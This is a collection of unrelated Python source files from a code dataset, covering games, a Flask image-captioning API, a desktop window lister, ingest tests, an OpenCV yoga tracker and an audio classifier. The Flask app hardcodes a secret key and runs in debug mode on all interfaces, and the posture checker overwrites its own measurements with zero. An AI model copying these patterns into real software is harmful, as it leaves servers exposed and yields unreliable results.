amount of guesses is smaller than the lowest amount of guesses the user has gotten the correct answer in so far\n print('This was your best guess so far!') #prints the string\n best_count = count #makes best_count the new lowest amount of guesses\n\n play_again = input(\"\\nWould you like to play again (yes or no)? \").lower().strip() #asks the user if they want to play again, and it waits for their input\n\nprint('Thanks for playing!') #if the player says no to the previous question, it prints this string","sub_path":"main10.py","file_name":"main10.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"223443148","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 18 15:06:53 2018\r\n\r\n@author: sbl28\r\n\"\"\"\r\n\r\ndef bags(strength, food):\r\n \"\"\"\r\n return int based on parameters strength,\r\n an int, and food a list of strings\r\n \"\"\"\r\n count={}\r\n bags = 0\r\n for i in food:\r\n count[i]=0\r\n for i in food:\r\n count[i]+=1\r\n for val in count.values():\r\n bags+=val//strength + (val%strength>0)\r\n return bags","sub_path":"APT/BagFitter.py","file_name":"BagFitter.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"286575806","text":"from flask import Flask , session , jsonify\nfrom flask import render_template,flash, json, jsonify, request,redirect,url_for\nfrom tensorflow import keras\nimport numpy as np\nimport cv2\nfrom keras.applications import ResNet50\nfrom keras.models import Model\nimport os\nimport io\nfrom keras.preprocessing.sequence import pad_sequences\nfrom werkzeug.utils import secure_filename\n\ndir = os.path.dirname(__file__)\n# filename = os.path.join(dir, 'relative','path','to','file','you','want')\nfrom flask_session.__init__ import Session\n\nimport uuid\nimport datetime\n\nimport subprocess\n\n \n \nSESSION_TYPE = 'memcache'\n\nmodel = None\nmodel_cnn = None\nnew_dict = None\ninv_dict = None\nMAX_LEN = 20\n\n\n\nUPLOAD_FOLDER = os.path.join(dir,'static','uploads');\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}\n\n\n\ndef download_models():\n os.system(\"chmod a+x models/download.sh\")\n os.system(\"sh download.sh\")\n\ndef download_dict():\n os.system(\"chmod a+x npy-files/download.sh\")\n os.system(\"sh download.sh\")\n\ndef CNN():\n resnet = ResNet50(include_top=True,weights=\"imagenet\") \n last = resnet.layers[-2].output\n model_resnet = Model(inputs = resnet.input,outputs = last)\n return model_resnet\n\n\ndef my_load_model(model_path, model_weights_path):\n global model\n global model_cnn \n model_cnn = CNN()\n model = keras.models.load_model(model_path)\n model.load_weights(model_weights_path)\n\n\ndef load_dictionary(new_dict_path,inv_dict_path):\n global new_dict\n global inv_dict\n new_dict = np.load(new_dict_path,allow_pickle='TRUE').item()\n inv_dict= np.load(inv_dict_path,allow_pickle='TRUE').item()\n\ndef predict_caption(imgName):\n test_img_path = imgName\n test_img = cv2.imread(test_img_path)\n test_img = cv2.cvtColor(test_img, cv2.COLOR_BGR2RGB)\n test_img = cv2.resize(test_img, (224, 224))\n test_img = np.reshape(test_img, (1,224,224,3))\n test_feature = model_cnn.predict(test_img).reshape(1,2048)\n text_inp = ['startseq']\n count = 0\n caption = ''\n while count < 25:\n count += 1\n encoded = []\n for i in text_inp:\n encoded.append(new_dict[i])\n \n encoded = [encoded]\n encoded = pad_sequences(encoded, padding='post', truncating='post', maxlen=MAX_LEN)\n prediction = np.argmax(model.predict([test_feature, encoded]))\n sampled_word = inv_dict[prediction]\n caption = caption + ' ' + sampled_word\n \n if sampled_word == 'endseq':\n break\n\n text_inp.append(sampled_word)\n return caption;\n\n\n\ndef save_image(file):\n \n basename = \"image\"\n suffix = datetime.datetime.now().strftime(\"%y%m%d_%H%M%S\")\n filename = \"_\".join([basename, suffix]) \n filename = filename + '.jpeg'\n filename = os.path.join(app.config['UPLOAD_FOLDER'], filename) \n file.save(filename)\n return filename\n\n#def preprosess_image():\n\napp = Flask(__name__)\nsess = Session(app)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n\n\n@app.route('/' , methods=['GET'])\ndef welcome():\n return \"Hello Welcome to Image Captioning Api\"\n\n@app.route('/download',methods=['GET'])\ndef download():\n app.logger.info(\"Downloading Dataset Wait\");\n download_models()\n app.logger.info(\"Download Done\");\n app.logger.info(\"Downloading Dataset Wait\");\n download_dict()\n app.logger.info(\"Download Done\");\n return \"done\"\n\n\n@app.route('/load',methods=['GET'])\ndef load():\n MODEL_PATH = os.path.join(dir , 'models', 'model.h5')\n MODEL_WEIGHTS_PATH = os.path.join(dir , 'models', 'model_weights.h5')\n NEW_DICT_PATH = os.path.join(dir, 'npy-files', 'new_dict.npy');\n INV_DICT_PATH = os.path.join(dir, 'npy-files', 'inv_dict.npy');\n my_load_model(MODEL_PATH, MODEL_WEIGHTS_PATH)\n load_dictionary(NEW_DICT_PATH, INV_DICT_PATH)\n return \"done\";\n\n@app.route('/upload',methods=['GET'])\ndef upload():\n return render_template('upload.html')\n\n@app.route('/predict',methods=['GET','POST'])\ndef predict():\n if request.method == 'POST':\n file = request.files['file']\n filename = save_image(file)\n caption = predict_caption(filename)\n # app.logger.info(filename)html\n return jsonify(\n capion=caption\n )\n\n\n\n@app.route('/predict-html',methods=['GET','POST'])\ndef predict_html():\n if request.method == 'POST':\n file = request.files['file']\n filename = save_image(file)\n caption = predict_caption(filename)\n # app.logger.info(filename)\n return render_template('predict.html', image = filename , caption = caption )\n\n\nif __name__ == \"__main__\" :\n sess.init_app(app)\n app.debug = True\n app.config[\"SECRET_KEY\"] = 'TPmi4aLWRbyVq8zu9v82dWYW1'\n app.run(host='0.0.0.0', port=5000)\n","sub_path":"flask-app/app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":4716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"144350792","text":"import subprocess\nimport collections\nimport socket\nimport os\nimport yaml\n\nclass Create():\n def __init__(self):\n #yaml should be deprecated soon\n CURRENT_DIR = os.path.dirname(__file__)\n config_path = os.path.join(CURRENT_DIR, 'blacklist.yml')\n with open(config_path, 'r') as stream:\n try:\n #print(yaml.safe_load(stream))\n self.config = yaml.safe_load(stream)\n #print(self.config)\n #print(\"Loaded\")\n except yaml.YAMLError as exc:\n print(exc)\n\n\n def get_desktops(self):\n desktop_list = {}\n windows_list = self.get_windows();\n\n p1 = subprocess.Popen(['wmctrl','-d'], stdout=subprocess.PIPE)\n (sout,serr) = p1.communicate()\n\n for line in sout.split(b'\\n'):\n if not line:\n continue\n\n id = line.split(b' ')[0]\n title = line.split(b' ')[-1]\n\n # add desktops\n desktop_list[id] = {'title': title, 'windows': {}}\n\n # add windows to the desktops\n for window in windows_list:\n if window['desktop_id'] == int(id):\n desktop_list[id]['windows'][window['id']] = window['title']\n temp_dict = dict(desktop_list)\n for desktop in temp_dict.keys():\n if len(desktop_list[desktop]['windows']) == 0:\n del desktop_list[desktop]\n\n # Sort the list\n return collections.OrderedDict(sorted(desktop_list.items()))\n\n def get_windows(self):\n new_window_list = []\n\n p1 = subprocess.Popen(['wmctrl','-l'], stdout=subprocess.PIPE)\n (sout,serr) = p1.communicate()\n\n hostname = socket.gethostname()\n # ugly get list, XLIB/XCB coming soon\n for line in sout.split(b'\\n'):\n if hostname in str(line):\n\n id = line.split(b' ')[0]\n\n desktop_id = line.split(b' ')[2] or 0\n\n '''\n Sometimes it can bring trash, we just want digits\n '''\n if desktop_id.isdigit() == False:\n continue\n\n # grab title, preserving whitespace\n title_pos = len(id) + len(hostname) + 5\n title = line[title_pos:]\n\n flag = 0\n #print(self.config)\n for s in self.config['blacklist']:\n #if title in s:\n # flag = 1\n break\n\n # ugly parent continue\n if flag == 1:\n flag = 0\n continue\n\n window = {\n 'id': id,\n 'title': title,\n 'desktop_id': int(desktop_id)\n }\n\n new_window_list.append(window)\n\n return new_window_list\n","sub_path":"desktops.py","file_name":"desktops.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"514332275","text":"from Tkinter import Tk, Canvas\nfrom math import cos, sin, radians\nfrom random import randint\n\nclass Worm:\n\tdef __init__(self, canv, canv_size, x, y, phi = 90, number_circle = 10, rad_circle = 5, color = 'green'):\n\t\tself.canv = canv\n\t\tself.number_circle = number_circle\n\t\tself.rad_circle = rad_circle\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.phi = phi\n\t\tself.canv_size = canv_size\n\t\tself.color = color\n\t\tself.body = self.draw()\n\t\tself.head = self.body[0]\n\n\tdef draw(self):\n\t\ttemp_arr = list()\n\t\tfor i in range(self.number_circle):\n\t\t\tx = (self.x - i*self.rad_circle*2*cos(radians(self.phi))) % self.canv_size\n\t\t\ty = (self.y - i*self.rad_circle*2*sin(radians(self.phi))) % self.canv_size\n\t\t\ttemp_arr.append(self.canv.create_oval([x - self.rad_circle, y - self.rad_circle], [x + self.rad_circle, y + self.rad_circle], fill = self.color))\n\t\treturn temp_arr\n\tdef go(self):\n\t\tself.canv.delete(self.body.pop())\n\t\tself.x = (self.x + self.rad_circle*2*cos(radians(self.phi))) % self.canv_size\n\t\tself.y = (self.y + self.rad_circle*2*sin(radians(self.phi))) % self.canv_size\n\t\tself.body.insert(0, self.canv.create_oval([self.x - self.rad_circle, self.y - self.rad_circle], [self.x + self.rad_circle, self.y + self.rad_circle], fill = self.color))\n\t\tself.head = self.body[0]\n\tdef delete(self):\n\t\tfor cl in self.body:\n\t\t\tself.canv.delete(cl)\n\t\tdel self\n\tdef is_eat(self1, self2):\n\t\tvalue = False\n\t\tfor i in range(self2.number_circle):\n\t\t\tx = (self2.x - i*self2.rad_circle*2*cos(radians(self2.phi))) % self2.canv_size\n\t\t\ty = (self2.y - i*self2.rad_circle*2*sin(radians(self2.phi))) % self2.canv_size\n\t\t\tif (self1.rad_circle - self2.rad_circle) <= ((self1.x - x) ** 2 + (self1.y - y) ** 2) ** 0.5 <= (self1.rad_circle + self2.rad_circle):\n\t\t\t\t\tvalue = True\n\t\treturn value\n\n# x y \n# x_c y_c\n# ((x-x_c)**2+(y-y_c)**2)**0.5 - r < 0.001\n\ncanvas_size = 1000\nworms_number = 10\nroot = Tk()\ncanv = Canvas(root, height = 1000, width = 1000)\ncanv.pack()\n\nworms_arr = list()\n\ndef add_worm(event):\n\tglobal worms_arr\n\tglobal canv\n\tworms_arr.append(Worm(canv, canv_size = canvas_size, x = event.x, y = event.y , phi = randint(0, 360)))\n\ndef delete_worm(event):\n\tobj_tup = canv.find_withtag(\"current\")\n\tfor wm in worms_arr:\n\t\tif wm.head in obj_tup:\n\t\t\twm.delete()\n\t\t\tworms_arr.remove(wm)\n\t\n#canv.addtag_overlapping('eat', a.x - a.rad_circle, a.y - a.rad_circle, a.x + a.rad_circle, a.y + a.rad_circle)\n\n\n\n\n\ncanv.bind('', add_worm)\ncanv.bind('', delete_worm)\n\ndef move():\n\tfor wm in worms_arr:\n\t\twm.go()\n\tlosers = list()\n\tfor wm1 in worms_arr:\n\t\tfor wm2 in worms_arr:\n\t\t\tif wm1 is not wm2:\n\t\t\t\tif wm1.is_eat(wm2):\n\t\t\t\t\tlosers.append(wm2)\n\tfor wm in list(set(losers)):\n\t\twm.delete()\n\t\tworms_arr.remove(wm)\n\troot.after(100, move)\n\nmove()\n\nroot.mainloop()","sub_path":"worm_mod.py","file_name":"worm_mod.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"589928666","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom mock import patch\nfrom tests import BaseTestCase\nfrom kepler.extensions import db\nfrom kepler.exceptions import UnsupportedFormat\nfrom kepler.models import Job\n\nclass IngestTestCase(BaseTestCase):\n def setUp(self):\n super(IngestTestCase, self).setUp()\n self.upload_files = [\n ('shapefile', \"tests/data/shapefile/shapefile.zip\"),\n ('metadata', \"tests/data/shapefile/fgdc.xml\")\n ]\n\n @patch('requests.put')\n @patch('pysolr.Solr.add')\n def testIngestPostReturns202OnSuccess(self, mock_solr, mock_geoserver):\n r = self.app.post('/ingest/', upload_files=self.upload_files)\n self.assertEqual(r.status_code, 202)\n\n def testIngestCreatesJob(self):\n with patch('kepler.ingest.views.create_job') as mock:\n instance = mock.return_value\n self.app.post('/ingest/', upload_files=self.upload_files)\n self.assertTrue(instance.run.called)\n\n def testIngestReturns415OnUnsupportedFormatError(self):\n with patch('kepler.ingest.views.create_job') as mock:\n mock.side_effect = UnsupportedFormat('application/example')\n r = self.app.post('/ingest/', upload_files=self.upload_files,\n expect_errors=True)\n self.assertEqual(r.status_code, 415)\n\n @patch('requests.put')\n @patch('pysolr.Solr.add')\n def testIngestCompletesJobOnSuccess(self, mock_solr, mock_geoserver):\n with patch('kepler.jobs.UploadJob.complete') as mock:\n self.app.post('/ingest/', upload_files=self.upload_files)\n self.assertTrue(mock.called)\n\n def testIngestFailsJobOnError(self):\n self.app.app.debug = False\n with patch('kepler.ingest.views.create_job') as mock:\n instance = mock.return_value\n instance.run.side_effect = AttributeError()\n try:\n self.app.post('/ingest/', upload_files=self.upload_files,\n expect_errors=True)\n except AttributeError:\n pass\n self.assertTrue(instance.fail.called)\n\n def testIngestReturns500OnJobRunError(self):\n self.app.app.debug = False\n self.app.app.config['PROPAGATE_EXCEPTIONS'] = False\n with patch('kepler.ingest.views.create_job') as mock:\n instance = mock.return_value\n instance.run.side_effect = AttributeError()\n r = self.app.post('/ingest/', upload_files=self.upload_files,\n expect_errors=True)\n self.assertEqual(r.status_code, 500)\n\n def testGetIngestReturns200OnSuccess(self):\n job = Job(name=u'TestJob')\n db.session.add(job)\n db.session.commit()\n r = self.app.get('/ingest/%s' % job.name)\n self.assertEqual(r.status_code, 200)\n\n def testGetIngestReturnsJob(self):\n job = Job(name=u'TestJob')\n db.session.add(job)\n db.session.commit()\n r = self.app.get('/ingest/%s' % job.name)\n self.assertEqual(r.json['id'], job.id)\n","sub_path":"tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"182228012","text":"# this file consists of code for tadasana only\r\nfrom collections import deque\r\nimport numpy as np\r\nimport argparse\r\nimport imutils\r\nimport cv2\r\nimport time\r\nimport posture\r\nimport os\r\n\r\n# ALWAYS FOLLOW B-G-R FORMAT IN ANY CV2 FUNCTION\r\n\r\n# argument parsing\r\nap = argparse.ArgumentParser()\r\nap.add_argument(\"-v\", \"--video\", help=\"path to the file\")\r\nap.add_argument(\"-b\", \"--buffer\", type=int, default=64, help=\"max buffer size\")\r\nargs = vars(ap.parse_args())\r\n\r\n\r\nnames = ['righttadasana.mp4'];\r\nwindow_titles = ['first']\r\n\r\n\r\n# body-part details\r\n# green1 = left leg green2 = right leg\r\n# blue1 = left hand blue2 = right hand\r\n# green = hip \r\n\r\n# colour details\r\n\r\n# left hand\r\nblue1Lower = np.array([80, 150, 10], np.uint8)\r\nblue1Upper = np.array([170, 255, 255], np.uint8)\r\n\r\n# hip: green\r\ngreenLower = np.array([40, 80, 6], np.uint8)\r\ngreenUpper = np.array([80, 255, 255], np.uint8)\r\n\r\n\r\n# right hand\r\nblue2Lower = np.array([80, 150, 10], np.uint8)\r\nblue2Upper = np.array([170, 255, 255], np.uint8)\r\n\r\n\r\n# 2 pts, to have count for 2 different buffers\r\nptsb1 = deque(maxlen=args[\"buffer\"]) # b1\r\nptsb2 = deque(maxlen=args[\"buffer\"]) # b2\r\nptsg = deque(maxlen=args[\"buffer\"]) # green : hip\r\n\r\ngap = 30\r\n\r\n# calling it in the start\r\netype, epair, emeasure = posture.getExerciseDetails(\"tadasana\")\r\nprint(\"Type:::\", etype)\r\nprint(\"pairs::\", epair)\r\nprint(\"measure::\", emeasure)\r\n\r\ncap = [cv2.VideoCapture(i) for i in names] \r\nRframes = [None] * len(names);\r\nhsv = [None] * len(names);\r\nret = [None] * len(names);\r\n\r\n# trying to grab the camera ref\r\nif not args.get(\"video\", False):\r\n camera = cv2.VideoCapture(0)\r\n start = time.time()\r\n elapsed = 0\r\n\r\nelse:\r\n camera = cv2.VideoCapture(args[\"video\"])\r\n start = time.time()\r\n elapsed = 0\r\n \r\n\r\n\r\n\r\nwhile True:\r\n (grabbed, frame) = camera.read()\r\n if args.get(\"video\") and not grabbed:\r\n break\r\n\r\n#----------------------------------\r\n# FOR RECORDED VIDEO\r\n for i,c in enumerate(cap):\r\n if c is not None:\r\n ret[i], Rframes[i] = c.read(); \r\n\r\n\r\n for i,f in enumerate(Rframes):\r\n if ret[i] is True:\r\n f = imutils.resize(f, width=600) \r\n # hsv[i] = cv2.cvtColor(f, cv2.COLOR_BGR2HSV)\r\n cv2.imshow(window_titles[i], f) \r\n #---------------------------------------------- \r\n # FOR LIVE VIDEO\r\n\r\n frame = imutils.resize(frame, width=600) # take the frame and resize\r\n blurred = cv2.GaussianBlur(frame, (11, 11), 0) # blur it\r\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) # convert to hsv\r\n\r\n\r\n\r\n maskBlue1 = cv2.inRange(hsv, blue1Lower, blue1Upper)\r\n maskBlue1 = cv2.erode(maskBlue1, None, iterations=5)\r\n maskBlue1 = cv2.dilate(maskBlue1, None, iterations=3)\r\n\r\n maskGreen = cv2.inRange(hsv, greenLower, greenUpper)\r\n maskGreen = cv2.erode(maskGreen, None, iterations=5)\r\n maskGreen = cv2.dilate(maskGreen, None, iterations=3)\r\n\r\n maskBlue2 = cv2.inRange(hsv, blue2Lower, blue2Upper)\r\n maskBlue2 = cv2.erode(maskBlue2, None, iterations=5)\r\n maskBlue2 = cv2.dilate(maskBlue2, None, iterations=3)\r\n\r\n contGreen = cv2.findContours(maskGreen.copy(), cv2.RETR_EXTERNAL,\r\n cv2.CHAIN_APPROX_SIMPLE)[-2]\r\n contBlue1 = cv2.findContours(maskBlue1.copy(), cv2.RETR_EXTERNAL,\r\n cv2.CHAIN_APPROX_SIMPLE)[-2]\r\n\r\n contBlue2 = cv2.findContours(maskBlue2.copy(), cv2.RETR_EXTERNAL,\r\n cv2.CHAIN_APPROX_SIMPLE)[-2]\r\n\r\n centerB1 = None\r\n centerB1x = None\r\n centerB1y = None\r\n \r\n centerG = None\r\n centerGx = None\r\n centerGy = None\r\n\r\n centerB2 = None\r\n centerB2x = None\r\n centerB2y = None\r\n\r\n \r\n flagBlue1 = 0\r\n flagBlue2 = 0\r\n flagGreen = 0\r\n\r\n # -------------------------------------------------------------------------------------------\r\n\r\n \r\n\r\n if (len(contGreen)) > 0:\r\n cG = max(contGreen, key=cv2.contourArea)\r\n ((x, y), radius) = cv2.minEnclosingCircle(cG) # minimum enclosing circle\r\n M = cv2.moments(cG) # finding centroid of the circle\r\n centerG = (int(M[\"m10\"] / M[\"m00\"]), int(M[\"m01\"] / M[\"m00\"]))\r\n centerGx = int(M[\"m10\"] / M[\"m00\"])\r\n centerGy = int(M[\"m01\"] / M[\"m00\"])\r\n if radius > 10:\r\n flagGreen = 1 # flag set true, indicates object was detected\r\n print(\"......G\")\r\n cv2.circle(frame, (int(x), int(y)), int(radius), (0, 255, 0), 2)\r\n cv2.circle(frame, centerG, 5, (0, 255, 0), -1)\r\n ptsg.appendleft(centerG) \r\n\r\n if (len(contBlue1)) > 0:\r\n cB1 = max(contBlue1, key=cv2.contourArea)\r\n # for cB2 in max(contBlue2, key=cv2.contourArea):\r\n ((x, y), radius) = cv2.minEnclosingCircle(cB1) # minimum enclosing circle\r\n M = cv2.moments(cB1) # finding centroid of the circle\r\n\r\n centerB1 = (int(M[\"m10\"] / M[\"m00\"]), int(M[\"m01\"] / M[\"m00\"]))\r\n centerB1x = int(M[\"m10\"] / M[\"m00\"])\r\n centerB1y = int(M[\"m01\"] / M[\"m00\"])\r\n\r\n if radius > 10:\r\n flagBlue1 = 1\r\n print(\"......B1\")\r\n cv2.circle(frame, (int(x), int(y)), int(radius), (255, 0, 0), 2)\r\n cv2.circle(frame, centerB1, 5, (255, 0, 0), -1)\r\n ptsb1.appendleft(centerB1) \r\n\r\n \r\n if (len(contBlue2)) > 0:\r\n cB2 = max(contBlue2, key=cv2.contourArea)\r\n # for cB2 in max(contBlue2, key=cv2.contourArea):\r\n ((x, y), radius) = cv2.minEnclosingCircle(cB2) # minimum enclosing circle\r\n M = cv2.moments(cB2) # finding centroid of the circle\r\n\r\n centerB2 = (int(M[\"m10\"] / M[\"m00\"]), int(M[\"m01\"] / M[\"m00\"]))\r\n centerB2x = int(M[\"m10\"] / M[\"m00\"])\r\n centerB2y = int(M[\"m01\"] / M[\"m00\"])\r\n\r\n if radius > 10:\r\n flagBlue2 = 1\r\n print(\"......B2\")\r\n cv2.circle(frame, (int(x), int(y)), int(radius), (255, 0, 0), 2)\r\n cv2.circle(frame, centerB2, 5, (255, 0, 0), -1)\r\n ptsb2.appendleft(centerB2)\r\n\r\n # -----------------------------------------------------------------------------------------\r\n\r\n \r\n\r\n for i in range(1, len(ptsg)): # green\r\n if ptsg[i - 1] is None or ptsg[i] is None:\r\n continue\r\n thickness = int(np.sqrt(args[\"buffer\"] / float(i + 1)) * 1.5)\r\n cv2.line(frame, ptsg[i - 1], ptsg[i], (0, 255, 0), thickness)\r\n \r\n for i in range(1, len(ptsb1)): # blue\r\n if ptsb1[i - 1] is None or ptsb1[i] is None:\r\n continue\r\n thickness = int(np.sqrt(args[\"buffer\"] / float(i + 1)) * 0.5)\r\n cv2.line(frame, ptsb1[i - 1], ptsb1[i], (255, 0, 0), thickness)\r\n \r\n\r\n for i in range(1, len(ptsb2)): # blue\r\n if ptsb2[i - 1] is None or ptsb2[i] is None:\r\n continue\r\n thickness = int(np.sqrt(args[\"buffer\"] / float(i + 1)) * 0.5)\r\n cv2.line(frame, ptsb2[i - 1], ptsb2[i], (255, 0, 0), thickness)\r\n\r\n # ------------------------------------------------------------------------------------------------\r\n\r\n\r\n end = time.time() # end the timer\r\n elapsed = int(end - start) # calculate elapsed time for each frame\r\n # print(elapsed)\r\n\r\n # elapsed time has to be as per set as per posture time in video\r\n if elapsed == gap: # num_frames will be >300 for bigger video, hence elapsed time>10 secs\r\n print(\"30 seconds elapsed\")\r\n try:\r\n print(\"hello\")\r\n\r\n # IN THE BEGINNING\r\n # 1. exercise details to be fetched\r\n # 2. know which co-ordinates have to be extracted\r\n ######## VALUE IN PARENTHESIS HAS TO BE PASSED ON ONCLICK\r\n \r\n\r\n # KNOW WHICH COORDS HAVE TO BE EXTRACTED\r\n\r\n # example of pair: N-RH#RH-RL\r\n\r\n listBands = posture.getBandName(epair) # from the pair , get individual band name\r\n # list returned is: G, G2 , G2 , B2\r\n # list can also be returned as having multiple values,\r\n # but hardcoding, assume , only 4 bands returned\r\n\r\n print(\"listBands::\",listBands[0])\r\n print(\"listBands::\",listBands[1])\r\n print(\"listBands::\",listBands[2])\r\n # only 3 bands present , \r\n print(\"listBands::\",listBands[3])\r\n # method is present in the same file, not inside posture.py\r\n list1 = getCoordinates(listBands[0])\r\n list2 = getCoordinates(listBands[1])\r\n\r\n \r\n x1 = list1[0]\r\n y1 = list1[1] \r\n\r\n x2 = list2[0]\r\n y2 = list2[1]\r\n\r\n \r\n # FIRST 2 BANDS\r\n print(\"Firstarrayofcords\",x1,y1,x2,y2) \r\n\r\n # calculate the first measurement\r\n try:\r\n a1 = posture.calculateSlope(x1, y1, x2, y2)\r\n a1 = 0\r\n os.system('python speechtotext.py')\r\n except IndexError:\r\n os.system('python speechtotext.py') \r\n angle1 = int(a1)\r\n\r\n list3 = getCoordinates(listBands[2])\r\n list4 = getCoordinates(listBands[3])\r\n\r\n x3 = list3[0]\r\n y3 = list3[1]\r\n x4 = list4[0]\r\n y4 = list4[1]\r\n\r\n print(\"Secondarrayofcords\",x1,y1,x2,y2) \r\n try:\r\n a2 = posture.calculateSlope(x3, y3, x4, y4)\r\n a2 = 0\r\n os.system('python speechtotext.py')\r\n except IndexError:\r\n os.system('python speechtotext.py') \r\n angle2 = int(a2)\r\n\r\n # combine these two for the user measurements\r\n # may be 2 or 3 , put different values in different files\r\n umeasure = []\r\n umeasure.append(angle1)\r\n umeasure.append(angle2)\r\n\r\n print(\"First angle \", angle1)\r\n print(\"Second angle \", angle2)\r\n\r\n result = emeasure.split('#')\r\n Trainerangle1 = result[0]\r\n Trainerangle2 = result[1]\r\n\r\n print(\"Trainerangle1\",Trainerangle1)\r\n print(\"Trainerangle2\",Trainerangle2)\r\n\r\n first = 0\r\n second = 0\r\n # 1 is true , 0 is false \r\n if angle1 in range(int(Trainerangle1) - 50,int(Trainerangle1) + 50):\r\n first = 1 \r\n if angle2 in range(int(Trainerangle2) - 50,int(Trainerangle2) + 50 ):\r\n second = 1\r\n\r\n if first==1 or second==1:\r\n print(\"Correct Posture!!\")\r\n else:\r\n os.system('python speechtotext.py')\r\n print(\"Wrong Posture!!\") \r\n print(\"Check position of your hands\") \r\n\r\n\r\n\r\n # LATER\r\n # 1. extract co-ordinates\r\n # 2. calculate slope\r\n # 3. compare with database details and calculate percent error\r\n\r\n\r\n # posture.obtainExcerciseDetails()\r\n # if (centerBx > 0)\r\n # slope1 = posture.calculateSlope(centerBx, centerBy, centerGx, centerGy)\r\n # print(\"S1:\",slope1,end=\",\")\r\n\r\n except IndexError:\r\n continue\r\n\r\n\r\n def getCoordinates(listBands): # TRY TO KEEP THE LENGTH HERE AS 2 ONLY , EASY FOR MANIPULATION\r\n listCoords = []\r\n\r\n # FOR EACH BAND , RETURN 2 CORDINATES, APPENDING TO THE SAME ARRAY\r\n # LEFT TO MANIPULATE FOR NECK AND HIP\r\n if listBands == \"B1\":\r\n listCoords.append(centerB1x)\r\n listCoords.append(centerB1y)\r\n \r\n\r\n elif listBands == \"B2\":\r\n listCoords.append(centerB2x)\r\n listCoords.append(centerB2y)\r\n\r\n elif listBands == \"G\": # HIP\r\n listCoords.append(centerGx)\r\n listCoords.append(centerGy)\r\n\r\n return listCoords\r\n\r\n\r\n\r\n\r\n\r\n # because the window is displayed in horizontal format instead of vertical\r\n # for angle in np.arange(0, 360, 15):\r\n # rotated = imutils.rotate_bound(frame, angle)\r\n cv2.imshow(\"Frame\", frame)\r\n \r\n key = cv2.waitKey(1) & 0xFF\r\n\r\n# if the 'q' key is pressed, stop the loop\r\n if key == ord(\"q\"):\r\n break\r\n\r\n # cleanup the camera and close any open windows\r\ncamera.release()\r\ncv2.destroyAllWindows()\r\n","sub_path":"tadasana.py","file_name":"tadasana.py","file_ext":"py","file_size_in_byte":12276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"226230199","text":"import audio_feature_extract\r\nfrom audio_feature_extract import *\r\nimport time\r\nimport argparse\r\nimport numpy as np\r\nimport keras\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Activation\r\nfrom keras.layers import Embedding, Conv1D, GlobalAveragePooling1D, MaxPooling1D\r\nfrom keras.optimizers import SGD\r\nimport os\r\nfrom sklearn.model_selection import train_test_split\r\n\r\ndef train(args):\r\n# if not os.path.exists(\"features.npy\") or not os.path.exists(\"labels.npy\"):\r\n# if input('No features/labels found. Run audio_feature_extract first(y/n)').lower() in ['Y', 'yes', '']:\r\n# audio_feature_extract.main()\r\n# train(args)\r\n# else:\r\n X = np.load('features.npy')\r\n Y = np.load('labels.npy').ravel()\r\n\r\n X_train, X_test, Y_train, Y_test = train_test_split(X,Y, test_size=0.4, random_state=233)\r\n\r\n total_classes = len(os.listdir('datasets/'))\r\n\r\n #Convolutional Neural Network\r\n model = Sequential()\r\n model.add(Conv1D(64, 3, activation='relu', input_shape=(193,1)))\r\n model.add(Conv1D(64, 3, activation='relu'))\r\n model.add(MaxPooling1D(3))\r\n model.add(Conv1D(128, 3, activation='relu'))\r\n model.add(Conv1D(128, 3, activation='relu'))\r\n model.add(GlobalAveragePooling1D())\r\n model.add(Dropout(0.5))\r\n model.add(Dense(total_classes, activation='softmax'))\r\n model.compile(loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy'])\r\n\r\n #Converting labels to one hot\r\n Y_train = keras.utils.to_categorical(Y_train - 1, num_classes=total_classes)\r\n Y_test = keras.utils.to_categorical(Y_test - 1, num_classes=total_classes)\r\n\r\n X_train = np.expand_dims(X_train, axis=2)\r\n X_test = np.expand_dims(X_test, axis=2)\r\n\r\n start = time.time()\r\n model.fit(X_train, Y_train, batch_size=args.batch_size, epochs=args.epochs)\r\n score, accuracy = model.evaluate(X_test, Y_test, batch_size=16)\r\n\r\n print('Test Score: ', score)\r\n print('Accuracy: ', accuracy)\r\n print('Training took: %d seconds' %(time.time()-start))\r\n model.save(args.model)\r\n\r\ndef predict(args):\r\n if os.path.exists(args.model):\r\n model = keras.models.load_model(args.model)\r\n predict_feat_path = 'predict_features.npy'\r\n predict_filenames = 'predict_filenames.npy'\r\n filenames = np.load(predict_filenames)\r\n X_predict = np.load(predict_feat_path)\r\n X_predict = np.expand_dims(X_predict, axis=2)\r\n pred = model.predict_classes(X_predict)\r\n for pair in list(zip(filenames, pred)): print(pair)\r\n elif input('Model not Found. Train inbuilt first(y/n)').lower() in ['Y', 'yes', 'y', '']:\r\n train()\r\n predict(args)\r\n\r\ndef real_time_predict(args):\r\n import sys\r\n if os.path.exists(args.model):\r\n model = keras.models.load_model(args.model)\r\n while True:\r\n try:\r\n features = np.empty((0,193))\r\n start = time.time()\r\n mfcc, chroma, mel, contrast, tonnetz = feature_extract()\r\n ext_features = np.hstack([mfcc, chroma, mel, contrast, tonnetz])\r\n features = np.vstack([features, ext_features])\r\n features = np.expand_dims(features, axis = 2)\r\n pred = model.predict_classes(features)\r\n for p in 